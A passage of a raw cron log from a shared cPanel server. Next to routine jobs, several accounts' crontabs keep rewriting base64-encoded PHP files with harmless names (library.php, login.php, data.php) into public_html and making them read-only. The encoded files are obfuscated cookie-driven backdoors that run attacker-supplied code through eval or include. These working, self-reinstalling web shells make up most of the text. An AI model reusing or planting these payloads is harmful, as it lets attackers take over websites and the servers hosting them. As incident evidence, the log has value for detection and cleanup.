UqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:11:01 medusa CROND[24619]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 18:11:01 medusa CROND[24632]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:12:03 medusa CROND[17338]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 18:12:03 medusa CROND[17339]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 18:12:03 medusa CROND[17340]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:12:03 medusa CROND[17341]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 18:12:03 medusa CROND[17342]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 18:12:03 medusa CROND[17343]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 18:12:03 medusa CROND[17346]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 18:12:03 medusa CROND[17347]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 18:12:03 medusa CROND[17351]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 18:12:03 medusa CROND[17353]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 18:12:03 medusa CROND[17348]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:12:03 medusa CROND[17356]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:12:03 medusa CROND[17370]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:12:03 medusa CROND[17444]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 18:13:01 medusa CROND[8757]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 18:13:01 medusa CROND[8924]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 18:13:01 medusa CROND[8926]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:13:01 medusa CROND[8925]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 18:13:01 medusa CROND[8929]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 18:13:01 medusa CROND[8930]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 18:13:01 medusa CROND[8931]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:13:01 medusa CROND[8932]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 18:13:01 medusa CROND[8936]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 18:13:01 medusa CROND[8938]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:13:01 medusa CROND[8939]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V